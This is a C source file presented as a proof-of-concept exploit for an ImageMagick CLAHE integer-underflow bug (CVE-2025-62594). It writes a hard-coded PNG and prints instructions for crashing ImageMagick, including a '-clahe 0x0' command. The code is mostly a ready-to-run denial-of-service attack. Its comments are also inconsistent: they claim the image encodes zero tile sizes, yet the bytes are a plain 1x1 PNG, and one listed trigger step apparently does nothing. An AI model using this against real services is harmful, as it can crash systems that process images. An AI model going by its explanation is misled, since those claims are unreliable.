#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// PoC for CVE-2025-62594: ImageMagick CLAHEImage Integer Underflow
// This creates a minimal image that triggers the vulnerability
unsigned char create_poc_image(const char* filename) {
// Create a minimal PNG with tile parameters set to trigger the vulnerability
// The key is to set CLAHE tile width or height to 0
FILE *fp = fopen(filename, "wb");
if (!fp) return 0;
// PNG signature
unsigned char png_sig[8] = {0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A};
fwrite(png_sig, 1, 8, fp);
// IHDR chunk - minimal 1x1 image
unsigned char ihdr[25] = {
0x00, 0x00, 0x00, 0x0D, // Length
0x49, 0x48, 0x44, 0x52, // Type: IHDR
0x00, 0x00, 0x00, 0x01, // Width: 1
0x00, 0x00, 0x00, 0x01, // Height: 1
0x08, // Bit depth: 8
0x02, // Color type: RGB
0x00, // Compression
0x00, // Filter
0x00, // Interlace
0x90, 0x77, 0x53, 0xDE // CRC
};
fwrite(ihdr, 1, 25, fp);
// IDAT chunk with minimal data
unsigned char idat[20] = {
0x00, 0x00, 0x00, 0x09, // Length
0x49, 0x44, 0x41, 0x54, // Type: IDAT
0x08, 0xD7, 0x63, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01,
0x1A, 0x15, 0x6B, 0x1F // CRC
};
fwrite(idat, 1, 20, fp);
// IEND chunk
unsigned char iend[12] = {
0x00, 0x00, 0x00, 0x00,
0x49, 0x45, 0x4E, 0x44,
0xAE, 0x42, 0x60, 0x82
};
fwrite(iend, 1, 12, fp);
fclose(fp);
return 1;
}
int main() {
const char* poc_file = "poc_cve_2025_62594.png";
printf("Creating PoC for CVE-2025-62594\n");
printf("ImageMagick CLAHEImage Integer Underflow/DoS\n\n");
if (create_poc_image(poc_file)) {
printf("PoC file created: %s\n", poc_file);
printf("\nTo trigger the vulnerability:\n");
printf("1. Process with ImageMagick: convert %s output.png\n", poc_file);
printf("2. Or use: magick %s -clahe 0x0 output.png\n", poc_file);
printf("\nExpected result: Process crash due to integer underflow/div-by-zero\n");
} else {
printf("Failed to create PoC file\n");
return 1;
}
return 0;
}